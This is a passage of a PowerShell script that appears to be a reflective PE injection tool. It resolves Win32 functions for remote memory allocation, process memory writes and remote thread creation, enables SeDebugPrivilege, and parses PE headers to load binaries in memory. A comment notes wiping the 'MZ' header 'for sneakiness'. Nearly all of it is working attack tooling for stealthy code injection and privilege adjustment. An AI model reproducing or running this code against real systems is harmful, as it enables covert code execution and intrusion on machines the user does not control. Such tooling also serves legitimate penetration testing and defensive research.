        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
        $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
        $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0

        return $Win32Constants
    }

    Function Get-Win32Functions
    {
        $Win32Functions = New-Object System.Object

        $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
        $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc

        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx

        $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
        $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
        $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy

        $memsetAddr = Get-ProcAddress msvcrt.dll memset
        $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
        $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset

        $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
        $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
        $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary

        $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
        $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
        $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress

        $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
        $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
        $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr

        $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
        $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
        $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree

        $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
        $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
        $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx

        $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
        $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
        $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect

        $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
        $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
        $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
        $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle

        $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
        $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
        $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess

        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject

        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory

        $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
        $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory

        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread

        $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
        $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
        $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread

        $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
        $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
        $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken

        $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
        $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
        $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread

        $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
        $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
        $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges

        $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
        $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
        $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue

        $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
        $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
        $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf

        # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
        if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
            $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
            $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
            $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
            $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
        }

        $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
        $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
        $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process

        $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread

        return $Win32Functions
    }
    #####################################


    #####################################
    ###########    HELPERS   ############
    #####################################

    #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
    #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
    Function Sub-SignedIntAsUnsigned
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )

        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            $CarryOver = 0
            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
            {
                $Val = $Value1Bytes[$i] - $CarryOver
                #Sub bytes
                if ($Val -lt $Value2Bytes[$i])
                {
                    $Val += 256
                    $CarryOver = 1
                }
                else
                {
                    $CarryOver = 0
                }

                [UInt16]$Sum = $Val - $Value2Bytes[$i]

                $FinalBytes[$i] = $Sum -band 0x00FF
            }
        }
        else
        {
            Throw "Cannot subtract bytearrays of different sizes"
        }

        return [BitConverter]::ToInt64($FinalBytes, 0)
    }

    Function Add-SignedIntAsUnsigned
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )

        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            $CarryOver = 0
            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
            {
                #Add bytes
                [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver

                $FinalBytes[$i] = $Sum -band 0x00FF

                if (($Sum -band 0xFF00) -eq 0x100)
                {
                    $CarryOver = 1
                }
                else
                {
                    $CarryOver = 0
                }
            }
        }
        else
        {
            Throw "Cannot add bytearrays of different sizes"
        }

        return [BitConverter]::ToInt64($FinalBytes, 0)
    }

    Function Compare-Val1GreaterThanVal2AsUInt
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )

        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
            {
                if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
                {
                    return $true
                }
                elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
                {
                    return $false
                }
            }
        }
        else
        {
            Throw "Cannot compare byte arrays of different size"
        }

        return $false
    }


    Function Convert-UIntToInt
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [UInt64]
        $Value
        )

        [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
        return ([BitConverter]::ToInt64($ValueBytes, 0))
    }


    Function Get-Hex
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        $Value #We will determine the type dynamically
        )

        $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
        $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.

        return $Hex
    }

    Function Test-MemoryRangeValid
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $DebugString,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 2, Mandatory = $true)]
        [IntPtr]
        $StartAddress,

        [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
        [IntPtr]
        $Size
        )

        [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))

        $PEEndAddress = $PEInfo.EndAddress

        if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
        {
            Throw "Trying to write to memory smaller than allocated address range. $DebugString"
        }
        if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
        {
            Throw "Trying to write to memory greater than allocated address range. $DebugString"
        }
    }

    Function Write-BytesToMemory
    {
        Param(
            [Parameter(Position=0, Mandatory = $true)]
            [Byte[]]
            $Bytes,

            [Parameter(Position=1, Mandatory = $true)]
            [IntPtr]
            $MemoryAddress
        )

        for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
        {
            [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
        }
    }

    #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
    Function Get-DelegateType
    {
        Param
        (
            [OutputType([Type])]

            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),

            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')

        Write-Output $TypeBuilder.CreateType()
    }


    #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
    Function Get-ProcAddress
    {
        Param
        (
            [OutputType([IntPtr])]

            [Parameter( Position = 0, Mandatory = $True )]
            [String]
            $Module,

            [Parameter( Position = 1, Mandatory = $True )]
            [String]
            $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')

        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethods() | Where {$_.Name -eq "GetProcAddress"} | Select-Object -first 1

        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))

        # Return the address of the function
        try
        {
            $tmpPtr = New-Object IntPtr
            $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
            Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
        }
        catch
        {
            # Windows 10 v1803 needs $Kern32Handle as a System.IntPtr instead of System.Runtime.InteropServices.HandleRef
            Write-Output $GetProcAddress.Invoke($null, @($Kern32Handle, $Procedure))
        }
    }

    Function Enable-SeDebugPrivilege
    {
        Param(
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Types,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )

        [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
        if ($ThreadHandle -eq [IntPtr]::Zero)
        {
            Throw "Unable to get the handle to the current thread"
        }

        [IntPtr]$ThreadToken = [IntPtr]::Zero
        [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
        if ($Result -eq $false)
        {
            $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
            if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
            {
                $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
                if ($Result -eq $false)
                {
                    Throw "Unable to impersonate self"
                }

                $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
                if ($Result -eq $false)
                {
                    Throw "Unable to OpenThreadToken."
                }
            }
            else
            {
                Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
            }
        }

        [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
        $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
        if ($Result -eq $false)
        {
            Throw "Unable to call LookupPrivilegeValue"
        }

        [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
        [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
        $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
        $TokenPrivileges.PrivilegeCount = 1
        $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
        $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)

        $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
        $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
        if (($Result -eq $false) -or ($ErrorCode -ne 0))
        {
            #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode"   #todo need to detect if already set
        }

        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
    }

    Function Create-RemoteThread
    {
        Param(
        [Parameter(Position = 1, Mandatory = $true)]
        [IntPtr]
        $ProcessHandle,

        [Parameter(Position = 2, Mandatory = $true)]
        [IntPtr]
        $StartAddress,

        [Parameter(Position = 3, Mandatory = $false)]
        [IntPtr]
        $ArgumentPtr = [IntPtr]::Zero,

        [Parameter(Position = 4, Mandatory = $true)]
        [System.Object]
        $Win32Functions
        )

        [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero

        $OSVersion = [Environment]::OSVersion.Version
        #Vista and Win7
        if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
        {
            #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
            $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
            $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
            if ($RemoteThreadHandle -eq [IntPtr]::Zero)
            {
                Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
            }
        }
        #XP/Win8
        else
        {
            #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
            $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
        }

        if ($RemoteThreadHandle -eq [IntPtr]::Zero)
        {
            Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
        }

        return $RemoteThreadHandle
    }

    Function Get-ImageNtHeaders
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        $NtHeadersInfo = New-Object System.Object

        #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
        $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)

        #Get IMAGE_NT_HEADERS
        [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
        $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
        $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)

        #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
        if ($imageNtHeaders64.Signature -ne 0x00004550)
        {
            throw "Invalid IMAGE_NT_HEADER signature."
        }

        if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
        {
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
        }
        else
        {
            $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
        }

        return $NtHeadersInfo
    }


    #This function will get the information needed to allocated space in memory for the PE
    Function Get-PEBasicInfo
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true )]
        [Byte[]]
        $PEBytes,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        $PEInfo = New-Object System.Object

        #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
        [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
        [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null

        #Get NtHeadersInfo
        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types

        #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)

        #Free the memory allocated above, this isn't where we allocate the PE to memory
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)

        return $PEInfo
    }


    #PEInfo must contain the following NoteProperties:
    #   PEHandle: An IntPtr to the address the PE is loaded to in memory
    Function Get-PEDetailedInfo
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )

        if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
        {
            throw 'PEHandle is null or IntPtr.Zero'
        }

        $PEInfo = New-Object System.Object

        #Get NtHeaders information
        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types

        #Build the PEInfo object
        $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
        $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
        $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
        $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
